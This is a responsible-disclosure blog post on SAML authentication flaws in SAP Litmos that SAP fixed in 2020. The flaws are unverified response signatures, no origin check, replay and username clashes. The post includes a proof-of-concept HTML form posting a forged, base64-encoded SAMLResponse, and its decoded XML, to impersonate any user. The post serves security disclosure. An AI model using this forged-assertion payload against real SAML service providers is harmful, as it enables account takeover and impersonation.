SAP Litmos broken authentication vulnerability disclosure
June 22, 2021
Synopsis
SAP Litmos is the online Learning Management System owned and operated by SAP.
During the authentication integration with Litmos using SAML protocol, me and my colleagues identified multiple security vulnerabilities. The most critical one is the identity spoofing, allowing attacker to impersonate to ANY user of the Litmos tenant having SAML-based authentication enabled.
These vulnerabilities have been reported to SAP Product Security Reponse team, and are now being disclosed publicly in this blogpost, in alignment with SAP and in compliance with the SAP Responsible Disclosure Policy.
Vulnerabilities
SAP Litmos supports the SAML Identity Provider-initiated authentication flow only, which is treated as less secure than SP-initiated flow. The weak security baseline, lack of compliance with SAML implementation guides and best practices results in the Broken Authentication
exploitation due to the vulnerabilities listed below.
Identity spoofing due to absent verification of the SAML Response signature
SAML Identity provider-initiated flow is done via single HTTP POST
request initiated by the end-user in the web browser. There is no state verification mechanism in the Service Provider (SAP Litmos in this case), therefore the authenticity of the request should be done by verifying the request signature.
However, the SAML metadata configuration content does not contain the public key that could be used to verify the SAML Response Request. Request signed with ANY private key is treated as legitimate. This allows attacker to forge the SAML Response object, sign with ANY private key and successfully authenticate as ANY user within the Litmos tenant having SAML integration enabled.
The SAML metadata configuration content example:
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://example.com">
<md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<md:NameIDFormat>
urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified
</md:NameIDFormat>
<md:NameIDFormat>
urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress
</md:NameIDFormat>
<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Location="https://example.com" />
<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://example.com" />
</md:IDPSSODescriptor>
</md:EntityDescriptor>
Pinning the public key to the SAML metadata configuration does not take effect - the public key is ignored.
Such SAML Response Request can be successfully used to spoof the identity and break the authentication (changing TENANT-NAME
to the respective tenant’s subdomain name is needed beforehand):
<!doctype html5>
<html>
<head>
</head>
<body>
<form method="post" action="https://TENANT-NAME.litmos.com/integration/splogin">
<input type="hidden" name="SAMLResponse" value="PFJlc3BvbnNlIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiCnhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIERlc3RpbmF0aW9uPSJodHRwczovL1RFTkFOVC1OQU1FLmxpdG1vcy5jb20vaW50ZWdyYXRpb24vc3Bsb2dpbiIgSUQ9Il80MzFiNWUxNy1kMzZhLTQxNTYtOGU2My1jNjI5MTg3MTljNjQiIElzc3VlSW5zdGFudD0iMjAxOS0wOS0xOFQwODo0ODo0MC4wODQ4NjA2WiIgVmVyc2lvbj0iMi4wIgp4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIj4KPElzc3VlciB4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiI+aHR0cHM6Ly9leGFtcGxlLmNvbTwvSXNzdWVyPgo8U2lnbmF0dXJlIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj4KICAgIDxTaWduZWRJbmZvPgogICAgICAgIDxDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvVFIvMjAwMS9SRUMteG1sLWMxNG4tMjAwMTAzMTUiIC8+CiAgICAgICAgPFNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNyc2Etc2hhMSIgLz4KICAgICAgICA8UmVmZXJlbmNlIFVSST0iI180MzFiNWUxNy1kMzZhLTQxNTYtOGU2My1jNjI5MTg3MTljNjQiPgogICAgICAgICAgICA8VHJhbnNmb3Jtcz4KICAgICAgICAgICAgICAgIDxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz4KICAgICAgICAgICAgICAgIDxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy9UUi8yMDAxL1JFQy14bWwtYzE0bi0yMDAxMDMxNSIgLz4KICAgICAgICAgICAgPC9UcmFuc2Zvcm1zPgogICAgICAgICAgICA8RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI3NoYTEiIC8+CiAgICAgICAgICAgIDxEaWdlc3RWYWx1ZT5iTjA5eml3SmY5N2pYR0RNY2lJWUo0MGRENzQ9PC9EaWdlc3RWYWx1ZT4KICAgICAgICA8L1JlZmVyZW5jZT4KICAgIDwvU2lnbmVkSW5mbz4KICAgIDxTaWduYXR1cmVWYWx1ZT5TSUdOQVRVUkUtU0lHTkVELVVTSU5HLUFOWS1QUklWQVRFLUtFWTwvU2lnbmF0dXJlVmFsdWU+CiAgICA8S2V5SW5mbz4KICAgICAgICA8WDUwOURhdGE+CiAgICAgICAgICAgIDxYNTA5Q2VydGlmaWNhdGU+PC9YNTA5Q2VydGlmaWNhdGU+CiAgICAgICAgPC9YNTA5RGF0YT4KICAgIDwvS2V5SW5mbz4KPC9TaWduYXR1cmU+CjxTdGF0dXM+CiAgICA8U3RhdHVzQ29kZSBWYWx1ZT0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnN0YXR1czpTdWNjZXNzIiAvPgo8L1N0YXR1cz4KPEFzc2VydGlvbiBJRD0iXzUwNzg2ZDJhLTEzYTEtNDZkMS1iZWVlLWRiNTBlOWZjY2RiZiIgSXNzdWVJbnN0YW50PSIyMDE5LTA5LTE4VDA4OjQ4OjQwLjA4NDg2MDZaIiBWZXJzaW9uPSIyLjAiCiAgICB4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiI+CiAgICA8SXNzdWVyPmh0dHBzOi8vZXhhbXBsZS5jb208L0lzc3Vlcj4KICAgIDxTdWJqZWN0PgogICAgICAgIDxOYW1lSUQgTmFtZVF1YWxpZmllcj0iaHR0cHM6Ly9leGFtcGxlLmNvbSI+U1BPT0ZFRC1VU0VSLUlERU5USUZJRVI8L05hbWVJRD4KICAgICAgICA8U3ViamVjdENvbmZpcm1hdGlvbiBNZXRob2Q9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjbTpiZWFyZXIiPgogICAgICAgICAgICA8U3ViamVjdENvbmZpcm1hdGlvbkRhdGEgTm90T25PckFmdGVyPSIyMDE5LTA5LTE4VDA4OjUzOjQwLjA4NDg2MDZaIiBSZWNpcGllbnQ9Imh0dHBzOi8vVEVOQU5ULU5BTUUubGl0bW9zLmNvbS9pbnRlZ3JhdGlvbi9zcGxvZ2luIiAvPgogICAgICAgIDwvU3ViamVjdENvbmZpcm1hdGlvbj4KICAgIDwvU3ViamVjdD4KICAgIDxDb25kaXRpb25zIE5vdE9uT3JBZnRlcj0iMjAxOS0wOS0xOFQwODo1Mzo0MC4wODQ4NjA2WiIgTm90QmVmb3JlPSIyMDE5LTA5LTE4VDA4OjQ4OjQwLjA4NDg2MDZaIj4KICAgICAgICA8QXVkaWVuY2VSZXN0cmljdGlvbj4KICAgICAgICAgICAgPEF1ZGllbmNlPmh0dHBzOi8vVEVOQU5ULU5BTUUubGl0bW9zLmNvbS9pbnRlZ3JhdGlvbi9zcGxvZ2luPC9BdWRpZW5jZT4KICAgICAgICA8L0F1ZGllbmNlUmVzdHJpY3Rpb24+CiAgICA8L0NvbmRpdGlvbnM+CiAgICA8QXV0aG5TdGF0ZW1lbnQgQXV0aG5JbnN0YW50PSIyMDE5LTA5LTE4VDA4OjQ4OjQwLjA4NDg2MDZaIj4KICAgICAgICA8QXV0aG5Db250ZXh0PgogICAgICAgICAgICA8QXV0aG5Db250ZXh0Q2xhc3NSZWY+QXV0aG5Db250ZXh0Q2xhc3NSZWY8L0F1dGhuQ29udGV4dENsYXNzUmVmPgogICAgICAgIDwvQXV0aG5Db250ZXh0PgogICAgPC9BdXRoblN0YXRlbWVudD4KICAgIDxBdHRyaWJ1dGVTdGF0ZW1lbnQ+CiAgICAgICAgPEF0dHJpYnV0ZSBOYW1lPSJGaXJzdE5hbWUiIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiPgogICAgICAgICAgICA8QXR0cmlidXRlVmFsdWU+U3Bvb2ZlZCBuYW1lPC9BdHRyaWJ1dGVWYWx1ZT4KICAgICAgICA8L0F0dHJpYnV0ZT4KICAgICAgICA8QXR0cmlidXRlIE5hbWU9Ikxhc3ROYW1lIiBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIj4KICAgICAgICAgICAgPEF0dHJpYnV0ZVZhbHVlPlNwb29mZWQgc3VybmFtZTwvQXR0cmlidXRlVmFsdWU+CiAgICAgICAgPC9BdHRyaWJ1dGU+CiAgICAgICAgPEF0dHJpYnV0ZSBOYW1lPSJFbWFpbCIgTmFtZUZvcm1hdD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmF0dHJuYW1lLWZvcm1hdDpiYXNpYyI+CiAgICAgICAgICAgIDxBdHRyaWJ1dGVWYWx1ZT5zcG9vZmVkLWVtYWlsQGV4YW1wbGUuY29tPC9BdHRyaWJ1dGVWYWx1ZT4KICAgICAgICA8L0F0dHJpYnV0ZT4KICAgIDwvQXR0cmlidXRlU3RhdGVtZW50Pgo8L0Fzc2VydGlvbj4KPC9SZXNwb25zZT4=" />
<input type="submit" value="Submit"/>
</form>
</body>
</html>
where the SAMLResponse
is Base64-encoded value of such XML document:
<Response xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Destination="https://TENANT-NAME.litmos.com/integration/splogin" ID="_431b5e17-d36a-4156-8e63-c62918719c64" IssueInstant="2019-09-18T08:48:40.0848606Z" Version="2.0"
xmlns="urn:oasis:names:tc:SAML:2.0:protocol">
<Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">https://example.com</Issuer>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
<SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
<Reference URI="#_431b5e17-d36a-4156-8e63-c62918719c64">
<Transforms>
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
<Transform Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
<DigestValue>bN09ziwJf97jXGDMciIYJ40dD74=</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>SIGNATURE-SIGNED-USING-ANY-PRIVATE-KEY</SignatureValue>
<KeyInfo>
<X509Data>
<X509Certificate></X509Certificate>
</X509Data>
</KeyInfo>
</Signature>
<Status>
<StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</Status>
<Assertion ID="_50786d2a-13a1-46d1-beee-db50e9fccdbf" IssueInstant="2019-09-18T08:48:40.0848606Z" Version="2.0"
xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
<Issuer>https://example.com</Issuer>
<Subject>
<NameID NameQualifier="https://example.com">SPOOFED-USER-IDENTIFIER</NameID>
<SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<SubjectConfirmationData NotOnOrAfter="2019-09-18T08:53:40.0848606Z" Recipient="https://TENANT-NAME.litmos.com/integration/splogin" />
</SubjectConfirmation>
</Subject>
<Conditions NotOnOrAfter="2019-09-18T08:53:40.0848606Z" NotBefore="2019-09-18T08:48:40.0848606Z">
<AudienceRestriction>
<Audience>https://TENANT-NAME.litmos.com/integration/splogin</Audience>
</AudienceRestriction>
</Conditions>
<AuthnStatement AuthnInstant="2019-09-18T08:48:40.0848606Z">
<AuthnContext>
<AuthnContextClassRef>AuthnContextClassRef</AuthnContextClassRef>
</AuthnContext>
</AuthnStatement>
<AttributeStatement>
<Attribute Name="FirstName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<AttributeValue>Spoofed name</AttributeValue>
</Attribute>
<Attribute Name="LastName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<AttributeValue>Spoofed surname</AttributeValue>
</Attribute>
<Attribute Name="Email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<AttributeValue>[email protected]</AttributeValue>
</Attribute>
</AttributeStatement>
</Assertion>
</Response>
SAP issue reference ID: 1980479777
Identity spoofing due to lack of identity provider origin verification
In addition to the aforementioned vulnerability, there is no Identity Provider origin check (i.e. verification of the HTTP Referrer header).
This weakness can lead to the identity spoofing utilizing the Identity Provider’s development environment, or any other web origin used to submit the SAML Response from. Combining it with the aforementioned weakness, multiple attack scenarios can be exploited.
SAP issue reference ID: 1980479778
Request replay vulnerability
The SAML Response Request form can be submitted multiple times, allowing the attacker to replay the authentication event and login on behalf of the victim.
The SAML Response root element contains the attribute ID
, but SAP Litmos does not use it as “nonce” value.
SAP issue reference ID: 1980479775
Identity spoofing via username clash vulnerability
The weakness exists due to lack of separation of the federated and locally-created user accounts in Litmos, and due to the username
attribute that is used to match the users.
Attack scenario:
- There is a user
johndoe
created manually in Litmos. This user account has a “Account Owner” role. - There is a different user with the same username
johndoe
in the external Identity Provider. These users are not anyhow linked together. - The user authenticated via the SAML, will automatically be logged-in to the different user account in Litmos, resulting in the Identity Spoofing and Elevation of Privilege.
This weakness can be exploited both accidentally, and exploiting the targeted attack. This can be done by registering either specific usernames in the external Identity Provider, or also by changing the specific user account usernames in Litmos, resulting in different attack vectors.
SAP issue reference ID: 1980479776
Responsible disclosure timeline
2019-09-16
- vulnerabilities reported to Litmos2019-09-23
- reproduction video files provided and issues elaborated during the online meeting2019-11-29
- vulnerabilities reported to[email protected]
in the encrypted format2019-12-02
- vulnerabilities were acknowledged and had the tracking IDs assigned2020-03-18
- SAP Product Security Response team confirms the remediation of the vulnerabilities